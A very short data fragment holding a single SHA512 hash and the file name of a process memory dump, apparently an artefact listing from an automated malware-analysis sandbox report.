SHA512 2bf69d38bda9f78834d1d0af7eb058698e68c4b686b7a1ce1b02daeef8abc65c5aeaccf220c99dc71b59041e3cc80ad2fde78540c9bb8e102a0625925e33adc6

memory/2528-131-0x000002B2D8030000-0x000002B2D8040000-memory.dmp